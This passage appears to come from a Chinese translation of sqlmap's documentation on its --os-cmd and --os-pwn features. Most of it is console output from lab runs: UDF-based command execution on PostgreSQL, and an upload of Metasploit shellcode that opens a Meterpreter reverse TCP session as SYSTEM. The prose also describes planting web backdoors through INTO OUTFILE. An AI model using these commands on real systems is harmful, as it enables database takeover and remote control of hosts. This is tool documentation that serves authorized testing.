$pythonsqlmap.py-u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"--\os-cmdid-v1[...]webapplicationtechnology:PHP5.2.6,Apache2.2.9back-endDBMS:PostgreSQL[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system[hh:mm:12] [INFO] the back-end DBMS operating system is Linux[hh:mm:12] [INFO] testing ifcurrentuserisDBA[hh:mm:12] [INFO] detecting back-end DBMS version from its banner[hh:mm:12] [INFO] checking ifUDF'sys_eval'alreadyexist[hh:mm:12] [INFO] checking ifUDF'sys_exec'alreadyexist[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF filedoyouwanttoretrievethecommandstandardoutput? [Y/n/a] ycommandstandardoutput:'uid=104(postgres) gid=106(postgres) groups=106(postgres)'[hh:mm:19] [INFO] cleaning up the database management systemdoyouwanttoremoveUDF'sys_eval'? [Y/n] ydoyouwanttoremoveUDF'sys_exec'? [Y/n] y[hh:mm:23] [INFO] database management system cleanup finished[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file systemcanonlybedeletedmanually
如果堆叠查询没有被 Web 应用(例如:PHP 或 ASP 且后端 DBMS 为 MySQL)识别出来,并且 DBMS 为 MySQL,假如后端 DBMS 和 Web 服务器在同一台服务器上,则仍可以通过利用 SELECT 语句中的 INTO OUTFILE,在 Web 服务器根目录中的可写目录中创建 Web 后门,从而执行命令。sqlmap 支持上述功能并允许用户提供一个逗号分隔、用于指定根目录子目录的列表,从而尝试上传 Web 文件传输器和后续的 Web 后门。sqlmap 有以下几种语言的 Web 文件传输器和后门:
$pythonsqlmap.py-u"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\id=1"--os-pwn--msf-path/software/metasploit[...][hh:mm:31] [INFO] the back-end DBMS is MySQLwebserveroperatingsystem:Windows2003webapplicationtechnology:ASP.NET,ASP.NET4.0.30319,MicrosoftIIS6.0back-endDBMS:MySQL5.0[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system[hh:mm:31] [INFO] the back-end DBMS operating system is Windowshowdoyouwanttoestablishthetunnel?[1] TCP: Metasploit Framework (default)[2] ICMP: icmpsh - ICMP tunneling>[hh:mm:32] [INFO] testing ifcurrentuserisDBA[hh:mm:32] [INFO] fetching current userwhatistheback-enddatabasemanagementsystemarchitecture?[1] 32-bit (default)[2] 64-bit>[hh:mm:33] [INFO] checking ifUDF'sys_bineval'alreadyexist[hh:mm:33] [INFO] checking ifUDF'sys_exec'alreadyexist[hh:mm:33] [INFO] detecting back-end DBMS version from its banner[hh:mm:33] [INFO] retrieving MySQL base directory absolute path[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF filehowdoyouwanttoexecutetheMetasploitshellcodeontheback-enddatabaseunderlyingoperatingsystem?[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)[2] Stand-alone payload stager (filesystemway)>[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcodewhichconnectiontypedoyouwanttouse?[1] Reverse TCP: Connect back from the database host to this machine (default)[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection>whichisthelocaladdress? [192.168.136.1]whichlocalportnumberdoyouwanttouse? [60641]whichpayloaddoyouwanttouse?[1] Meterpreter (default)[2] Shell[3] VNC>[hh:mm:40] [INFO] creation in progress ... done[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, pleasewait.._||o_____|___,,_||___|_/|/|/||/|/|/ \_|/ \_|// \_|||||_/|__/|_/\_/|_/ \/ |__/|__/\__/|_/|_//|\|=[metasploitv3.7.0-dev [core:3.7 api:1.0]+----=[ 674 exploits - 351 auxiliary+ -- --=[ 217 payloads - 27 encoders - 8 nops=[ svn r12272 updated 4 days ago (2011.04.07)PAYLOAD => windows/meterpreter/reverse_tcpEXITFUNC => threadLPORT =>60641LHOST =>192.168.136.1[*] Started reverse handler on 192.168.136.1:60641[*] Starting the payload handler...[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..[*] Sending stage (749056 bytes) to 192.168.136.129[*] Meterpreter session 1 opened (192.168.136.1:60641->192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011meterpreter > Loading extension espia...success.meterpreter > Loading extension incognito...success.meterpreter > [-] The 'priv' extension has already been loaded.meterpreter > Loading extension sniffer...success.meterpreter > System Language : en_USOS : Windows .NET Server (Build 3790, Service Pack 2).Computer : W2K3R2Architecture : x86Meterpreter : x86/win32meterpreter > Server username: NT AUTHORITY\SYSTEMmeterpreter > ipconfigMS TCP Loopback interfaceHardware MAC: 00:00:00:00:00:00IP Address :127.0.0.1Netmask :255.0.0.0Intel(R) PRO/1000 MT Network ConnectionHardware MAC: 00:0c:29:fc:79:39IP Address :192.168.136.129Netmask :255.255.255.0meterpreter > exit[*] Meterpreter session 1 closed. Reason: User exit
默认情况下,MySQL 在 Windows 上以 SYSTEM 身份运行,然而 PostgreSQL 在 Windows 和 Linux 上均以低权限用户 postgres 运行。Microsoft SQL Server 2000 默认以 SYSTEM 身份运行,而 Microsoft SQL 2005 和 2008 大部分情况下以 NETWORK SERVICE 身份运行,有时候以 LOCAL SERVICE 身份运行。